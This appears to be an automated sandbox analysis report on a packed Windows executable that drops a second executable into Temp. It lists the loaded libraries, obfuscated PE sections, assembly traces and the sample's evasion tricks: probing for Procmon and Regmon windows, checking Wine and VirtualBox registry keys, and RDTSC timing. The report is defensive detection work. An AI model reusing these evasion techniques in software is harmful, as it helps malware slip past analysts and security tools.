Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe "C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe "C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2962432 > 1048576

Source: file.exe

Static PE information: Raw size of lqgakhan is bigger than: 0x100000 < 0x2a7e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.190000.0.unpack :EW;.rsrc :W;.idata :W;lqgakhan:EW;uzkacypy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;lqgakhan:EW;uzkacypy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Unpacked PE file: 4.2.T4SWNFFH9VCKTA3D54ZZ0K.exe.6e0000.0.unpack :EW;.rsrc:W;.idata :W;xibuiabq:EW;bskbuihx:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x2e1c05 should be: 0x2d7a6a
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: real checksum: 0x2b09db should be: 0x2b87b9

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: lqgakhan
Source: file.exe	Static PE information: section name: uzkacypy
Source: file.exe	Static PE information: section name: .taggant
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name:
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name: .idata
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name: xibuiabq
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name: bskbuihx
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4AB pushad ; ret	0_3_00ABE4AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0AB pushad ; ret	0_3_00ABF0AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE8A8 pushad ; ret	0_3_00ABE8AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4AF pushad ; ret	0_3_00ABE4B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE8AF pushad ; ret	0_3_00ABE8B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0AF pushad ; ret	0_3_00ABF0B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4A3 pushad ; ret	0_3_00ABE4A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0A3 pushad ; ret	0_3_00ABF0A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4A7 pushad ; ret	0_3_00ABE4AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0A7 pushad ; ret	0_3_00ABF0AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0BB pushad ; ret	0_3_00ABF0BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4B8 pushad ; ret	0_3_00ABE4BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4BF pushad ; ret	0_3_00ABE4C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0BF pushad ; ret	0_3_00ABF0C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0B3 pushad ; ret	0_3_00ABF0B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0B7 pushad ; ret	0_3_00ABF0BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF08B pushad ; ret	0_3_00ABF08E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE488 pushad ; ret	0_3_00ABE48E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF08F pushad ; ret	0_3_00ABF092
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF083 pushad ; ret	0_3_00ABF086
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF087 pushad ; ret	0_3_00ABF08A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE49B pushad ; ret	0_3_00ABE49E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABEC98 pushad ; ret	0_3_00ABEC9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF098 pushad ; ret	0_3_00ABF09E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE49F pushad ; ret	0_3_00ABE4A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABEC9F pushad ; ret	0_3_00ABECA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF09F pushad ; ret	0_3_00ABF0A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE493 pushad ; ret	0_3_00ABE496
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE497 pushad ; ret	0_3_00ABE49A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABF0EB pushad ; ret	0_3_00ABF0EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00ABE4E8 pushad ; ret	0_3_00ABE4EE

Source: file.exe	Static PE information: section name: entropy: 7.97523709038707
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name: entropy: 7.78035018089479

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EF1E7 second address: 1EEAC8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1544B5F468h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F1544B5F472h 0x00000011 nop 0x00000012 pushad 0x00000013 mov esi, dword ptr [ebp+122D39F7h] 0x00000019 sub esi, dword ptr [ebp+122D3677h] 0x0000001f popad 0x00000020 push dword ptr [ebp+122D10FDh] 0x00000026 or dword ptr [ebp+122D3612h], edx 0x0000002c call dword ptr [ebp+122D3608h] 0x00000032 pushad 0x00000033 sub dword ptr [ebp+122D3603h], esi 0x00000039 xor eax, eax 0x0000003b add dword ptr [ebp+122D3603h], edx 0x00000041 mov edx, dword ptr [esp+28h] 0x00000045 jmp 00007F1544B5F478h 0x0000004a mov dword ptr [ebp+122D39CBh], eax 0x00000050 jnp 00007F1544B5F467h 0x00000056 mov esi, 0000003Ch 0x0000005b cld 0x0000005c stc 0x0000005d add esi, dword ptr [esp+24h] 0x00000061 mov dword ptr [ebp+122D3603h], eax 0x00000067 lodsw 0x00000069 pushad 0x0000006a mov si, ax 0x0000006d mov edi, 2CCEAE25h 0x00000072 popad 0x00000073 add eax, dword ptr [esp+24h] 0x00000077 jmp 00007F1544B5F470h 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 stc 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 push edi 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EEAC8 second address: 1EEACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EEACD second address: 1EEAD7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1544B5F46Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FF80 second address: 34FF86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FF86 second address: 34FF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36687F second address: 366883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366883 second address: 36688D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36688D second address: 366892 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366C6E second address: 366C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 366DCB second address: 366DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F15447FC6A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AD5B second address: 36AD93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F1544B5F466h 0x0000000d jmp 00007F1544B5F471h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jp 00007F1544B5F46Eh 0x0000001e push ebx 0x0000001f jnc 00007F1544B5F466h 0x00000025 pop ebx 0x00000026 mov eax, dword ptr [eax] 0x00000028 pushad 0x00000029 push esi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AD93 second address: 36ADA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F15447FC6ABh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36ADA5 second address: 36ADBA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1544B5F468h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AE40 second address: 36AE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 mov ecx, eax 0x0000000b push 580D58FBh 0x00000010 pushad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AE54 second address: 36AEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F1544B5F46Dh 0x0000000d popad 0x0000000e popad 0x0000000f xor dword ptr [esp], 580D587Bh 0x00000016 movzx edi, di 0x00000019 push 00000003h 0x0000001b sub dword ptr [ebp+122D253Dh], ecx 0x00000021 push 00000000h 0x00000023 call 00007F1544B5F471h 0x00000028 and esi, 13E10845h 0x0000002e pop edx 0x0000002f mov di, 3E40h 0x00000033 push 00000003h 0x00000035 clc 0x00000036 push EBBB280Ch 0x0000003b push eax 0x0000003c push edx 0x0000003d jne 00007F1544B5F46Ch 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AEB1 second address: 36AEB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AFA0 second address: 36AFA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AFA4 second address: 36AFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AFAA second address: 36AFAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36AFAF second address: 36B01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15447FC6B7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jno 00007F15447FC6A8h 0x00000014 pushad 0x00000015 jmp 00007F15447FC6B8h 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f mov edi, dword ptr [ebp+122D367Bh] 0x00000025 push 00000000h 0x00000027 and edi, 3A330BF4h 0x0000002d call 00007F15447FC6A9h 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push esi 0x00000036 pop esi 0x00000037 jmp 00007F15447FC6ABh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B01D second address: 36B023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B023 second address: 36B027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B027 second address: 36B02B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B02B second address: 36B048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15447FC6ABh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B048 second address: 36B04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B04D second address: 36B064 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F15447FC6ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B064 second address: 36B09A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F1544B5F468h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F1544B5F479h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B09A second address: 36B0FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15447FC6A8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jmp 00007F15447FC6AEh 0x00000012 push 00000003h 0x00000014 mov ecx, dword ptr [ebp+122D3977h] 0x0000001a push 00000000h 0x0000001c adc dx, A180h 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007F15447FC6A8h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 00000016h 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d push 745BFFB8h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push edx 0x00000046 pop edx 0x00000047 jmp 00007F15447FC6ACh 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B0FB second address: 36B105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1544B5F466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B105 second address: 36B109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B187 second address: 36B18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
